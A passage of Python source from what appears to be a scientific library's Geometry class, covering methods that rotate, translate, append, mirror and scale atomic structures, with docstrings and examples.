default will the entire geometry be rotated, such that everything\n is aligned as before rotation.\n\n However, by supplying ``what = 'abc|xyz'`` one can designate which\n part of the geometry that will be rotated.\n\n Parameters\n ----------\n angle : float\n the angle in degrees to rotate the geometry. Set the ``rad``\n argument to use radians.\n v : int or str or array_like\n the normal vector to the rotated plane, i.e.\n v = [1,0,0] will rotate around the :math:`yz` plane.\n If a str it refers to the Cartesian direction (xyz), or the\n lattice vectors (abc). Providing several is the combined direction.\n origin : int or array_like, optional\n the origin of rotation. Anything but [0, 0, 0] is equivalent\n to a `self.move(-origin).rotate(...).move(origin)`.\n If this is an `int` it corresponds to the atomic index.\n atoms : int or array_like, optional\n only rotate the given atomic indices, if not specified, all\n atoms will be rotated.\n rad : bool, optional\n if ``True`` the angle is provided in radians (rather than degrees)\n what : {'xyz', 'abc', 'abc+xyz', }\n which coordinate subject should be rotated,\n if any of ``abc`` is in this string the corresponding cell vector will be rotated\n if any of ``xyz`` is in this string the corresponding coordinates will be rotated\n If `atoms` is None, this defaults to \"abc+xyz\", otherwise it defaults\n to \"xyz\". See Examples.\n\n Examples\n --------\n rotate coordinates around the :math:`x`-axis\n >>> geom_x45 = geom.rotate(45, [1, 0, 0])\n\n rotate around the ``(1, 1, 0)`` direction but project the rotation onto the :math:`x`\n axis\n >>> geom_xy_x = geom.rotate(45, \"xy\", what='x')\n\n See Also\n --------\n Quaternion : class to rotate\n Lattice.rotate : rotation passed to the contained supercell\n \"\"\"\n if origin is None:\n origin = [0.0, 0.0, 0.0]\n elif isinstance(origin, Integral):\n origin = self.axyz(origin)\n origin = _a.asarray(origin)\n\n if atoms is None:\n if what is None:\n what = \"abc+xyz\"\n # important to not add a new dimension to xyz\n atoms = slice(None)\n else:\n if what is None:\n what = \"xyz\"\n # Only rotate the unique values\n atoms = self.sc2uc(atoms, unique=True)\n\n if isinstance(v, Integral):\n v = direction(v, abc=self.cell, xyz=np.diag([1, 1, 1]))\n elif isinstance(v, str):\n v = reduce(\n lambda a, b: a + direction(b, abc=self.cell, xyz=np.diag([1, 1, 1])),\n v,\n 0,\n )\n\n # Ensure the normal vector is normalized... (flatten == copy)\n vn = _a.asarrayd(v).flatten()\n vn /= fnorm(vn)\n\n # Rotate by direct call\n lattice = self.lattice.rotate(angle, vn, rad=rad, what=what)\n\n # Copy\n xyz = np.copy(self.xyz)\n\n idx = []\n for i, d in enumerate(\"xyz\"):\n if d in what:\n idx.append(i)\n\n if idx:\n # Prepare quaternion...\n q = Quaternion(angle, vn, rad=rad)\n q /= q.norm()\n # subtract and add origin, before and after rotation\n rotated = q.rotate(xyz[atoms] - origin) + origin\n # get which coordinates to rotate\n for i in idx:\n xyz[atoms, i] = rotated[:, i]\n\n return self.__class__(xyz, atoms=self.atoms.copy(), lattice=lattice)\n\n def rotate_miller(self, m, v) -> Geometry:\n \"\"\"Align Miller direction along ``v``\n\n Rotate geometry and cell such that the Miller direction\n points along the Cartesian vector ``v``.\n \"\"\"\n # Create normal vector to miller direction and cartesian\n # direction\n cp = _a.arrayd(\n [\n m[1] * v[2] - m[2] * v[1],\n m[2] * v[0] - m[0] * v[2],\n m[0] * v[1] - m[1] * v[0],\n ]\n )\n cp /= fnorm(cp)\n\n lm = _a.arrayd(m)\n lm /= fnorm(lm)\n lv = _a.arrayd(v)\n lv /= fnorm(lv)\n\n # Now rotate the angle between them\n a = acos(np.sum(lm * lv))\n return self.rotate(a, cp, rad=True)\n\n def translate(\n self, v, atoms: Optional[AtomsArgument] = None, cell: bool = False\n ) -> Geometry:\n \"\"\"Translates the geometry by `v`\n\n One can translate a subset of the atoms by supplying `atoms`.\n\n Returns a copy of the structure translated by `v`.\n\n Parameters\n ----------\n v : float or array_like\n the value or vector to displace all atomic coordinates\n It should just be broad-castable with the geometry's coordinates.\n atoms : int or array_like, optional\n only displace the given atomic indices, if not specified, all\n atoms will be displaced\n cell : bool, optional\n If True the supercell also gets enlarged by the vector\n \"\"\"\n g = self.copy()\n if atoms is None:\n g.xyz += np.asarray(v, g.xyz.dtype)\n else:\n g.xyz[self._sanitize_atoms(atoms).ravel(), :] += np.asarray(v, g.xyz.dtype)\n if cell:\n g.set_lattice(g.lattice.translate(v))\n return g\n\n move = translate\n\n def translate2uc(\n self, atoms: Optional[AtomsArgument] = None, axes=None\n ) -> Geometry:\n \"\"\"Translates atoms in the geometry into the unit cell\n\n One can translate a subset of the atoms or axes by appropriate arguments.\n\n Warning\n -------\n When coordinates are lying on one of the edges, they may move to the other\n side of the unit-cell due to small rounding errors.\n In such situations you are encouraged to shift all coordinates by a small\n amount to remove numerical errors, in the following case we have atomic\n coordinates lying close to the lower side of each lattice vector.\n\n >>> geometry.move(1e-8).translate2uc().move(-1e-8)\n\n Notes\n -----\n By default only the periodic axes will be translated to the UC. If\n translation is required for all axes, supply them directly.\n\n Parameters\n ----------\n atoms : int or array_like, optional\n only translate the given atomic indices, if not specified, all\n atoms will be translated\n axes : int or array_like or True or None optional\n only translate certain lattice directions, `None` specifies\n only the directions with supercells, `True` specifies all\n directions.\n \"\"\"\n if axes is None:\n axes = (self.lattice.nsc > 1).nonzero()[0]\n elif isinstance(axes, bool):\n if axes:\n axes = (0, 1, 2)\n else:\n raise ValueError(\n \"translate2uc with a bool argument can only be True to signal all axes\"\n )\n\n fxyz = self.fxyz\n # move to unit-cell\n fxyz[:, axes] %= 1\n g = self.copy()\n # convert back\n if atoms is None:\n g.xyz[:, :] = fxyz @ self.cell\n else:\n idx = self._sanitize_atoms(atoms).ravel()\n g.xyz[idx] = fxyz[idx] @ self.cell\n return g\n\n def swap(self, atoms_a: AtomsArgument, atoms_b: AtomsArgument) -> Geometry:\n \"\"\"Swap a set of atoms in the geometry and return a new one\n\n This can be used to reorder elements of a geometry.\n\n Parameters\n ----------\n atoms_a : array_like\n the first list of atomic coordinates\n atoms_b : array_like\n the second list of atomic coordinates\n \"\"\"\n atoms_a = self._sanitize_atoms(atoms_a)\n atoms_b = self._sanitize_atoms(atoms_b)\n xyz = np.copy(self.xyz)\n xyz[atoms_a, :] = self.xyz[atoms_b, :]\n xyz[atoms_b, :] = self.xyz[atoms_a, :]\n return self.__class__(\n xyz, atoms=self.atoms.swap(atoms_a, atoms_b), lattice=self.lattice.copy()\n )\n\n def swapaxes(\n self, axes_a: Union[int, str], axes_b: Union[int, str], what: str = \"abc\"\n ) -> Geometry:\n \"\"\"Swap the axes components by either lattice vectors (only cell), or Cartesian coordinates\n\n See `Lattice.swapaxes` for details.\n\n Parameters\n ----------\n axes_a : int or str\n the old axis indices (or labels if `str`)\n A string will translate each character as a specific\n axis index.\n Lattice vectors are denoted by ``abc`` while the\n Cartesian coordinates are denote by ``xyz``.\n If `str`, then `what` is not used.\n axes_b : int or str\n the new axis indices, same as `axes_a`\n old axis indices (or labels)\n what : {'abc', 'xyz', 'abc+xyz'}\n what to swap, lattice vectors (abc) or Cartesian components (xyz),\n or both.\n Neglected for integer axes arguments.\n\n See Also\n --------\n Lattice.swapaxes\n\n Examples\n --------\n\n Only swap lattice vectors\n\n >>> g_ba = g.swapaxes(0, 1)\n >>> assert np.allclose(g.xyz, g_ba.xyz)\n\n Only swap Cartesian coordinates\n\n >>> g_ba = g.swapaxes(0, 1, \"xyz\")\n >>> assert np.allclose(g.xyz[:, [1, 0, 2]], g_ba.xyz)\n\n Consecutive swappings (what will be neglected if provided):\n\n 1. abc, xyz -> bac, xyz\n 2. bac, xyz -> bca, xyz\n 3. bac, xyz -> bca, zyx\n\n >>> g_s = g.swapaxes(\"abx\", \"bcz\")\n >>> assert np.allclose(g.xyz[:, [2, 1, 0]], g_s.xyz)\n >>> assert np.allclose(g.cell[[1, 2, 0]][:, [2, 1, 0]], g_s.cell)\n \"\"\"\n # swap supercell\n # We do not need to check argument types etc,\n # Lattice.swapaxes will do this for us\n lattice = self.lattice.swapaxes(axes_a, axes_b, what)\n\n if isinstance(axes_a, int) and isinstance(axes_b, int):\n if \"xyz\" in what:\n axes_a = \"xyz\"[axes_a]\n axes_b = \"xyz\"[axes_b]\n else:\n axes_a = \"\"\n axes_b = \"\"\n\n # only thing we are going to swap is the coordinates\n idx = [0, 1, 2]\n for a, b in zip(axes_a, axes_b):\n aidx = \"xyzabc\".index(a)\n bidx = \"xyzabc\".index(b)\n if aidx < 3:\n idx[aidx], idx[bidx] = idx[bidx], idx[aidx]\n\n return self.__class__(\n self.xyz[:, idx].copy(), atoms=self.atoms.copy(), lattice=lattice\n )\n\n def center(\n self, atoms: Optional[AtomsArgument] = None, what: str = \"xyz\"\n ) -> ndarray:\n \"\"\"Returns the center of the geometry\n\n By specifying `what` one can control whether it should be:\n\n * ``xyz|position``: Center of coordinates (default)\n * ``mm:xyz`` or ``mm(xyz)``: Center of minimum/maximum of coordinates\n * ``mass``: Center of mass\n * ``mass:pbc``: Center of mass using periodicity, if the point 0, 0, 0 is returned it\n may likely be because of a completely periodic system with no true center of mass\n * ``cell``: Center of cell\n\n Parameters\n ----------\n atoms : array_like\n list of atomic indices to find center of\n what : {'xyz', 'mm:xyz', 'mass', 'mass:pbc', 'cell'}\n determine which center to calculate\n \"\"\"\n if \"cell\" == what:\n return self.lattice.center()\n\n if atoms is None:\n g = self\n else:\n g = self.sub(atoms)\n\n if \"mass:pbc\" == what:\n mass = g.mass\n sum_mass = mass.sum()\n # the periodic center of mass is determined by transfering all\n # coordinates onto a circle -> fxyz * 2pi\n # Then we mass average the circle angles for each of the fractional\n # coordinates, and transform back into the cartesian coordinate system\n theta = g.fxyz * (2 * np.pi)\n # construct angles\n avg_cos = (mass @ np.cos(theta)) / sum_mass\n avg_sin = (mass @ np.sin(theta)) / sum_mass\n avg_theta = np.arctan2(-avg_sin, -avg_cos) / (2 * np.pi) + 0.5\n return avg_theta @ g.lattice.cell\n\n if \"mass\" == what:\n mass = g.mass\n return dot(mass, g.xyz) / np.sum(mass)\n\n if what in (\"mm:xyz\", \"mm(xyz)\"):\n return (g.xyz.min(0) + g.xyz.max(0)) / 2\n\n if what in (\"xyz\", \"position\"):\n return np.mean(g.xyz, axis=0)\n\n raise ValueError(\n f\"{self.__class__.__name__}.center could not understand option 'what' got {what}\"\n )\n\n def append(\n self, other: LatticeOrGeometryLike, axis: int, offset=\"none\"\n ) -> Geometry:\n \"\"\"Appends two structures along `axis`\n\n This will automatically add the ``self.cell[axis,:]`` to all atomic\n coordiates in the `other` structure before appending.\n\n The basic algorithm is this:\n\n >>> oxa = other.xyz + self.cell[axis,:][None,:]\n >>> self.xyz = np.append(self.xyz,oxa)\n >>> self.cell[axis,:] += other.cell[axis,:]\n\n NOTE: The cell appended is only in the axis that\n is appended, which means that the other cell directions\n need not conform.\n\n Parameters\n ----------\n other :\n Other geometry class which needs to be appended\n If a `Lattice` only the super cell will be extended\n axis :\n Cell direction to which the `other` geometry should be\n appended.\n offset : {'none', 'min', (3,)}\n By default appending two structures will simply use the coordinates,\n as is.\n With 'min', the routine will shift both the structures along the cell\n axis of `self` such that they coincide at the first atom, lastly one\n may use a specified offset to manually select how `other` is displaced.\n NOTE: That `self.cell[axis, :]` will be added to `offset` if `other` is\n a geometry.\n\n See Also\n --------\n add : add geometries\n prepend : prending geometries\n attach : attach a geometry\n insert : insert a geometry\n \"\"\"\n if isinstance(other, Lattice):\n # Only extend the supercell.\n xyz = np.copy(self.xyz)\n atoms = self.atoms.copy()\n lattice = self.lattice.append(other, axis)\n names = self._names.copy()\n if isinstance(offset, str):\n if offset == \"none\":\n offset = [0, 0, 0]\n else:\n raise ValueError(\n f\"{self.__class__.__name__}.append requires offset to be (3,) for supercell input\"\n )\n xyz += _a.asarray(offset)\n\n else:\n # sanitize output\n other = self.new(other)\n if isinstance(offset, str):\n offset = offset.lower()\n if offset == \"none\":\n offset = self.cell[axis, :]\n elif offset == \"min\":\n # We want to align at the minimum position along the `axis`\n min_f = self.fxyz[:, axis].min()\n min_other_f = dot(other.xyz, self.icell.T)[:, axis].min()\n offset = self.cell[axis, :] * (1 + min_f - min_other_f)\n else:\n raise ValueError(\n f\"{self.__class__.__name__}.append requires align keyword to be one of [none, min, (3,)]\"\n )\n else:\n offset = self.cell[axis, :] + _a.asarray(offset)\n\n xyz = np.append(self.xyz, offset + other.xyz, axis=0)\n atoms = self.atoms.append(other.atoms)\n lattice = self.lattice.append(other.lattice, axis)\n names = self._names.merge(other._names, offset=len(self))\n\n return self.__class__(xyz, atoms=atoms, lattice=lattice, names=names)\n\n def prepend(\n self, other: LatticeOrGeometryLike, axis: int, offset=\"none\"\n ) -> Geometry:\n \"\"\"Prepend two structures along `axis`\n\n This will automatically add the ``self.cell[axis,:]`` to all atomic\n coordiates in the `other` structure before appending.\n\n The basic algorithm is this:\n\n >>> oxa = other.xyz\n >>> self.xyz = np.append(oxa, self.xyz + other.cell[axis,:][None,:])\n >>> self.cell[axis,:] += other.cell[axis,:]\n\n NOTE: The cell prepended is only in the axis that\n is prependend, which means that the other cell directions\n need not conform.\n\n Parameters\n ----------\n other :\n Other geometry class which needs to be prepended\n If a `Lattice` only the super cell will be extended\n axis :\n Cell direction to which the `other` geometry should be\n prepended\n offset : {'none', 'min', (3,)}\n By default appending two structures will simply use the coordinates,\n as is.\n With 'min', the routine will shift both the structures along the cell\n axis of `other` such that they coincide at the first atom, lastly one\n may use a specified offset to manually select how `self` is displaced.\n NOTE: That `other.cell[axis, :]` will be added to `offset` if `other` is\n a geometry.\n\n See Also\n --------\n add : add geometries\n append : appending geometries\n attach : attach a geometry\n insert : insert a geometry\n \"\"\"\n if isinstance(other, Lattice):\n # Only extend the supercell.\n xyz = np.copy(self.xyz)\n atoms = self.atoms.copy()\n lattice = self.lattice.prepend(other, axis)\n names = self._names.copy()\n if isinstance(offset, str):\n if offset == \"none\":\n offset = [0, 0, 0]\n else:\n raise ValueError(\n f\"{self.__class__.__name__}.prepend requires offset to be (3,) for supercell input\"\n )\n xyz += _a.arrayd(offset)\n\n else:\n # sanitize output\n other = self.new(other)\n if isinstance(offset, str):\n offset = offset.lower()\n if offset == \"none\":\n offset = other.cell[axis, :]\n elif offset == \"min\":\n # We want to align at the minimum position along the `axis`\n min_f = other.fxyz[:, axis].min()\n min_other_f = dot(self.xyz, other.icell.T)[:, axis].min()\n offset = other.cell[axis, :] * (1 + min_f - min_other_f)\n else:\n raise ValueError(\n f\"{self.__class__.__name__}.prepend requires align keyword to be one of [none, min, (3,)]\"\n )\n else:\n offset = other.cell[axis, :] + _a.asarray(offset)\n\n xyz = np.append(other.xyz, offset + self.xyz, axis=0)\n atoms = self.atoms.prepend(other.atoms)\n lattice = self.lattice.prepend(other.lattice, axis)\n names = other._names.merge(self._names, offset=len(other))\n\n return self.__class__(xyz, atoms=atoms, lattice=lattice, names=names)\n\n def add(self, other: LatticeOrGeometryLike, offset=(0, 0, 0)) -> Geometry:\n \"\"\"Merge two geometries (or a Geometry and Lattice) by adding the two atoms together\n\n If `other` is a Geometry only the atoms gets added, to also add the supercell vectors\n simply do ``geom.add(other).add(other.lattice)``.\n\n Parameters\n ----------\n other : Geometry or Lattice\n Other geometry class which is added\n offset : (3,), optional\n offset in geometry of `other` when adding the atoms. Only if `other` is\n of instance `Geometry`.\n\n See Also\n --------\n append : appending geometries\n prepend : prending geometries\n attach : attach a geometry\n insert : insert a geometry\n \"\"\"\n if isinstance(other, Lattice):\n xyz = self.xyz.copy() + _a.arrayd(offset)\n lattice = self.lattice + other\n atoms = self.atoms.copy()\n names = self._names.copy()\n else:\n other = self.new(other)\n xyz = np.append(self.xyz, other.xyz + _a.arrayd(offset), axis=0)\n lattice = self.lattice.copy()\n atoms = self.atoms.add(other.atoms)\n names = self._names.merge(other._names, offset=len(self))\n return self.__class__(xyz, atoms=atoms, lattice=lattice, names=names)\n\n def add_vacuum(self, vacuum: float, axis: int) -> Geometry:\n \"\"\"Add vacuum along the `axis` lattice vector\n\n When the vacuum is bigger than the maximum orbital ranges the\n number of supercells along that axis will be truncated to 1 (de-couple\n images).\n\n Parameters\n ----------\n vacuum :\n amount of vacuum added, in Ang\n axis :\n the lattice vector to add vacuum along\n\n Returns\n -------\n Geometry : a new geometry with added vacuum\n \"\"\"\n new = self.copy()\n new.set_lattice(self.lattice.add_vacuum(vacuum, axis))\n if vacuum > self.maxR() + 0.001:\n # only overwrite along axis\n nsc = [None for _ in range(3)]\n nsc[axis] = 1\n new.lattice.set_nsc(nsc)\n return new\n\n def insert(self, atom: int, other: GeometryLike) -> Geometry:\n \"\"\"Inserts other atoms right before index\n\n We insert the `geometry` `Geometry` before `atom`.\n Note that this will not change the unit cell.\n\n Parameters\n ----------\n atom :\n the atomic index at which the other geometry is inserted\n other :\n the other geometry to be inserted\n\n See Also\n --------\n add : add geometries\n append : appending geometries\n prepend : prending geometries\n attach : attach a geometry\n \"\"\"\n atom = self._sanitize_atoms(atom)\n if atom.size > 1:\n raise ValueError(\n f\"{self.__class__.__name__}.insert requires only 1 atomic index for insertion.\"\n )\n other = self.new(other)\n xyz = np.insert(self.xyz, atom, other.xyz, axis=0)\n atoms = self.atoms.insert(atom, other.atoms)\n return self.__class__(xyz, atoms, lattice=self.lattice.copy())\n\n def __add__(self, b) -> Geometry:\n \"\"\"Merge two geometries (or geometry and supercell)\n\n Parameters\n ----------\n self, b : Geometry or Lattice or tuple or list\n when adding a Geometry with a Geometry it defaults to using `add` function\n with the LHS retaining the cell-vectors.\n a tuple/list may be of length 2 with the first element being a Geometry and the second\n being an integer specifying the lattice vector where it is appended.\n One may also use a `Lattice` instead of a `Geometry` which behaves similarly.\n\n Examples\n --------\n\n >>> A + B == A.add(B)\n >>> A + (B, 1) == A.append(B, 1)\n >>> A + (B, 2) == A.append(B, 2)\n >>> (A, 1) + B == A.append(B, 1)\n\n See Also\n --------\n add : add geometries\n append : appending geometries\n prepend : prending geometries\n \"\"\"\n if isinstance(b, (Lattice, Geometry)):\n return self.add(b)\n return self.append(b[0], b[1])\n\n def __radd__(self, b) -> Geometry:\n \"\"\"Merge two geometries (or geometry and supercell)\n\n Parameters\n ----------\n self, b : Geometry or Lattice or tuple or list\n when adding a Geometry with a Geometry it defaults to using `add` function\n with the LHS retaining the cell-vectors.\n a tuple/list may be of length 2 with the first element being a Geometry and the second\n being an integer specifying the lattice vector where it is appended.\n One may also use a `Lattice` instead of a `Geometry` which behaves similarly.\n\n Examples\n --------\n\n >>> A + B == A.add(B)\n >>> A + (B, 1) == A.append(B, 1)\n >>> A + (B, 2) == A.append(B, 2)\n >>> (A, 1) + B == A.append(B, 1)\n\n See Also\n --------\n add : add geometries\n append : appending geometries\n prepend : prending geometries\n \"\"\"\n if isinstance(b, (Lattice, Geometry)):\n return b.add(self)\n return self + b\n\n def attach(\n self,\n atom: int,\n other: GeometryLike,\n other_atom: int,\n dist=\"calc\",\n axis: Optional[int] = None,\n ) -> Geometry:\n \"\"\"Attaches another `Geometry` at the `atom` index with respect to `other_atom` using different methods.\n\n The attached geometry will be inserted at the end of the geometry via `add`.\n\n Parameters\n ----------\n atom : int\n atomic index which is the base position of the attachment. The distance\n between `atom` and `other_atom` is `dist`.\n other : Geometry\n the other Geometry to attach at the given point. In this case `dist` from\n `atom`.\n other_atom : int\n the index of the atom in `other` that is inserted at `atom`.\n dist : array_like or float or str, optional\n the distance (in `Ang`) between the attached coordinates.\n If `dist` is `array_like` it should be the vector between\n the atoms;\n if `dist` is `float` the argument `axis` is required\n and the vector will be calculated along the corresponding latticevector;\n else if `dist` is `str` this will correspond to the\n `method` argument of the `Atom.radius` class of the two\n atoms. Here `axis` is also required.\n axis : int\n specify the direction of the lattice vectors used.\n Not used if `dist` is an array-like argument.\n \"\"\"\n other = self.new(other)\n if isinstance(dist, Real):\n # We have a single rational number\n if axis is None:\n raise ValueError(\n f\"{self.__class__.__name__}.attach, `axis` has not been specified, please specify the axis when using a distance\"\n )\n\n # Now calculate the vector that we should have\n # between the atoms\n v = self.cell[axis, :]\n v = v / (v**2).sum() ** 0.5 * dist\n\n elif isinstance(dist, str):\n # We have a single rational number\n if axis is None:\n raise ValueError(\n f\"{self.__class__.__name__}.attach, `axis` has not been specified, please specify the axis when using a distance\"\n )\n\n # This is the empirical distance between the atoms\n d = self.atoms[atom].radius(dist) + other.atoms[other_atom].radius(dist)\n if isinstance(axis, Integral):\n v = self.cell[axis, :]\n else:\n v = np.array(axis)\n\n v = v / (v**2).sum() ** 0.5 * d\n\n else:\n # The user *must* have supplied a vector\n v = np.array(dist)\n\n # Now create a copy of the other geometry\n # so that we move it...\n # Translate to origin, then back to position in new cell\n o = other.translate(-other.xyz[other_atom] + self.xyz[atom] + v)\n\n # We do not know how to handle the lattice-vectors,\n # so we will do nothing...\n return self.add(o)\n\n def replace(\n self, atoms: AtomsArgument, other: GeometryLike, offset=None\n ) -> Geometry:\n \"\"\"Create a new geometry from `self` and replace `atoms` with `other`\n\n Parameters\n ----------\n atoms :\n atoms in `self` to be removed and replaced by other\n `other` will be placed in the geometry at the lowest index of `atoms`\n other :\n the other Geometry to insert instead, the unit-cell will not\n be used.\n offset : (3,), optional\n the offset for `other` when adding its coordinates, default to no offset\n \"\"\"\n # Find lowest value in atoms\n atoms = self._sanitize_atoms(atoms)\n index = atoms.min()\n if offset is None:\n offset = _a.zerosd(3)\n\n # remove atoms, preparing for inserting new geometry\n out = self.remove(atoms)\n\n other = self.new(other)\n\n # insert new positions etc.\n out.xyz = np.insert(out.xyz, index, other.xyz + offset, axis=0)\n out._atoms = out.atoms.insert(index, other.atoms)\n return out\n\n def reverse(self, atoms: Optional[AtomsArgument] = None) -> Geometry:\n \"\"\"Returns a reversed geometry\n\n Also enables reversing a subset of the atoms.\n\n Parameters\n ----------\n atoms :\n only reverse the given atomic indices, if not specified, all\n atoms will be reversed\n \"\"\"\n if atoms is None:\n xyz = self.xyz[::-1, :]\n else:\n atoms = self._sanitize_atoms(atoms).ravel()\n xyz = np.copy(self.xyz)\n xyz[atoms, :] = self.xyz[atoms[::-1], :]\n return self.__class__(\n xyz, atoms=self.atoms.reverse(atoms), lattice=self.lattice.copy()\n )\n\n def mirror(\n self, method, atoms: Optional[AtomsArgument] = None, point=(0, 0, 0)\n ) -> Geometry:\n r\"\"\"Mirrors the atomic coordinates about a plane given by its normal vector\n\n This will typically move the atomic coordinates outside of the unit-cell.\n This method should be used with care.\n\n Parameters\n ----------\n method : {'xy'/'z', ..., 'ab', ..., v}\n mirror the structure about a Cartesian direction (``x``, ``y``, ``z``),\n plane (``xy``, ``xz``, ``yz``) or about user defined vectors (``v``).\n A vector may also be specified by ``'ab'`` which is the vector normal\n to the plane spanned by the first and second lattice vector.\n or user defined vector (`v`) which is defining a plane.\n atoms :\n only mirror a subset of atoms\n point: (3,), optional\n mirror coordinates around the plane that intersects the *method* vector\n and this point\n\n Examples\n --------\n >>> geom = geom.graphene()\n >>> out = geom.mirror('x')\n >>> out.xyz[:, 0]\n [0. -1.42]\n >>> out = geom.mirror('x', point=(1.42/2, 0, 0))\n >>> out.xyz[:, 0]\n [1.42 0.]\n \"\"\"\n atoms = self._sanitize_atoms(atoms)\n point = _a.asarrayd(point)\n\n if isinstance(method, str):\n method = \"\".join(sorted(method.lower()))\n if method in (\"z\", \"xy\"):\n method = _a.arrayd([0, 0, 1])\n elif method in (\"x\", \"yz\"):\n method = _a.arrayd([1, 0, 0])\n elif method in (\"y\", \"xz\"):\n method = _a.arrayd([0, 1, 0])\n elif method == \"a\":\n method = self.cell[0]\n elif method == \"b\":\n method = self.cell[1]\n elif method == \"c\":\n method = self.cell[2]\n elif method == \"ab\":\n method = cross3(self.cell[0], self.cell[1])\n elif method == \"ac\":\n method = cross3(self.cell[0], self.cell[2])\n elif method == \"bc\":\n method = cross3(self.cell[1], self.cell[2])\n else:\n raise ValueError(\n f\"{self.__class__.__name__}.mirror unrecognized 'method' value\"\n )\n\n # it has to be an array of length 3\n # Mirror about a user defined vector\n method = _a.asarrayd(method).copy()\n method /= fnorm(method)\n\n # project onto vector\n vp = (self.xyz[atoms, :] - point).dot(method) * 2\n\n # convert coordinates\n # first subtract the projection, then its mirror position\n g = self.copy()\n g.xyz[atoms, :] -= vp.reshape(-1, 1) * method.reshape(1, 3)\n return g\n\n def axyz(self, atoms: Optional[AtomsArgument] = None, isc=None) -> ndarray:\n \"\"\"Return the atomic coordinates in the supercell of a given atom.\n\n The ``Geometry[...]`` slicing is calling this function with appropriate options.\n\n Parameters\n ----------\n atoms :\n atom(s) from which we should return the coordinates, the atomic indices\n may be in supercell format.\n isc : array_like, optional\n Returns the atomic coordinates shifted according to the integer\n parts of the cell. Defaults to the unit-cell\n\n Examples\n --------\n >>> geom = Geometry([[0, 0, 0], [0.5, 0, 0]], lattice=1.)\n >>> print(geom.axyz(isc=[1,0,0])) # doctest: +NORMALIZE_WHITESPACE\n [[1. 0. 0. ]\n [1.5 0. 0. ]]\n\n >>> geom = Geometry([[0, 0, 0], [0.5, 0, 0]], lattice=1.)\n >>> print(geom.axyz(0)) # doctest: +NORMALIZE_WHITESPACE\n [0. 0. 0.]\n\n \"\"\"\n if atoms is None and isc is None:\n return self.xyz\n atoms = self._sanitize_atoms(atoms)\n\n # If only atoms has been specified\n if isc is None:\n # get offsets from atomic indices (note that this will be per atom)\n isc = self.a2isc(atoms)\n offset = self.lattice.offset(isc)\n return self.xyz[self.sc2uc(atoms)] + offset\n\n # Neither of atoms, or isc are `None`, we add the offset to all coordinates\n return self.axyz(atoms) + self.lattice.offset(isc)\n\n def scale(self, scale, what: str = \"abc\", scale_atoms: bool = True) -> Geometry:\n \"\"\"Scale coordinates and unit-cell to get a new geometry with proper scaling\n\n Parameters\n ----------\n scale : float or array-like of floats with shape (3,)\n the scale factor for the new geometry (lattice vectors, coordinates\n and the atomic radii are scaled).\n what: {\"abc\", \"xyz\"}\n ``abc``\n Is applied on the corresponding lattice vector and the fractional coordinates.\n ``xyz``\n Is applied only to the atomic coordinates.\n If three different scale factors are provided, each will correspond to the\n Cartesian direction/lattice vector.\n scale_atoms :\n whether atoms (basis) should be scaled as well.\n \"\"\"\n # Ensure we are dealing with a numpy array\n scale = np.asarray(scale)\n\n # Scale the supercell\n lattice = self.lattice.scale(scale, what=what)\n\n if what == \"xyz\":\n # It is faster to rescale coordinates by simply multiplying them by the scale\n xyz = self.xyz * scale\n max_scale = scale.max()\n\n elif what == \"abc\":\n # Scale the coordinates by keeping fractional coordinates the same\n xyz = self.fxyz @ lattice.cell\n\n if scale_atoms:\n # To rescale atoms, we need to know the span of each cartesian coordinate before and\n # after the scaling, and scale the atoms according to the coordinate that has\n # been scaled by the largest factor.\n prev_verts = self.lattice.vertices().reshape(8, 3)\n prev_span = prev_verts.max(axis=0) - prev_verts.min(axis=0)\n scaled_verts = lattice.vertices().reshape(8, 3)\n scaled_span = scaled_verts.max(axis=0) - scaled_verts.min(axis=0)\n max_scale = (scaled_span / prev_span).max()\n else:\n raise ValueError(\n f\"{self.__class__.__name__}.scale got wrong what argument, must be one of abc|xyz\"\n )\n\n if scale_atoms:\n # Atoms are rescaled to the maximum scale factor\n atoms = self.atoms.scale(max_scale)\n else:\n atoms = self.atoms.copy()\n\n return self.__class__(xyz, atoms=atoms, lattice=lattice)\n\n def within_sc(\n self,\n shapes,\n isc=None,\n atoms: Optional[AtomsArgument] = None,\n atoms_xyz=None,\n ret_xyz: bool = False,\n ret_rij: bool = False,\n ):\n \"\"\"Indices of atoms in a given supercell within a given shape from a given coordinate\n\n This returns a set of atomic indices which are within a\n sphere of radius ``R``.\n\n If R is a tuple/list/array it will return the indices:\n in the ranges:\n\n >>> ( x <= R[0] , R[0] < x <= R[1], R[1] < x <= R[2] )\n\n Parameters\n ----------\n shapes : Shape or list of Shape\n A list of increasing shapes that define the extend of the geometric\n volume that is searched.\n It is vital that::\n\n shapes[0] in shapes[1] in shapes[2] ...\n isc : array_like, optional\n The super-cell which the coordinates are checked in. Defaults to ``[0, 0, 0]``\n atoms :\n List of atoms that will be considered. This can\n be used to only take out a certain atoms.\n atoms_xyz : array_like, optional\n The atomic coordinates of the equivalent `idx` variable (`idx` must also be passed)\n ret_xyz :\n If True this method will return the coordinates\n for each of the couplings.\n ret_rij :\n If True this method will return the distance to the center of the shapes\n\n Returns\n -------\n index\n indices of atoms (in supercell indices) within the shape\n xyz\n atomic coordinates of the indexed atoms (only for true `ret_xyz`)\n rij\n distance of the indexed atoms to the center of the shape (only for true `ret_rij`)\n \"\"\"\n\n # Ensure that `shapes` is a list\n if isinstance(shapes, Shape):\n shapes = [shapes]\n nshapes = len(shapes)\n\n # Convert to actual array\n if atoms is not None:\n atoms = self._sanitize_atoms(atoms)\n else:\n # If idx is None, then idx_xyz cannot be used!\n # So we force it to None\n atoms_xyz = None\n\n # Get shape centers\n off = shapes[-1].center[:]\n # Get the supercell offset\n soff = self.lattice.offset(isc)[:]\n\n # Get atomic coordinate in principal cell\n if atoms_xyz is None:\n xa = self[atoms, :] + soff[None, :]\n else:\n # For extremely large systems re-using the\n # idx_xyz is faster than indexing\n # a very large array\n # However, this idx_xyz should not\n # be offset by any supercell\n xa = atoms_xyz[:, :] + soff[None, :]\n\n # Get indices and coordinates of the largest shape\n # The largest part of the calculation are to calculate\n # the content in the largest shape.\n ix = shapes[-1].within_index(xa)\n # Reduce search space\n xa = xa[ix, :]\n\n if atoms is None:\n # This is because of the pre-check of the distance checks\n atoms = ix\n else:\n atoms = atoms[ix]\n\n if len(xa) == 0:\n # Quick return if there are no entries...\n\n ret = [[np.empty([0], np.int32)] * nshapes]\n if ret_xyz:\n ret.append([np.empty([0, 3], np.float64)] * nshapes)\n if ret_rij:\n ret.append([np.empty([0], np.float64)] * nshapes)\n\n if nshapes == 1:\n if ret_xyz and ret_rij:\n return [ret[0][0], ret[1][0], ret[2][0]]\n elif ret_xyz 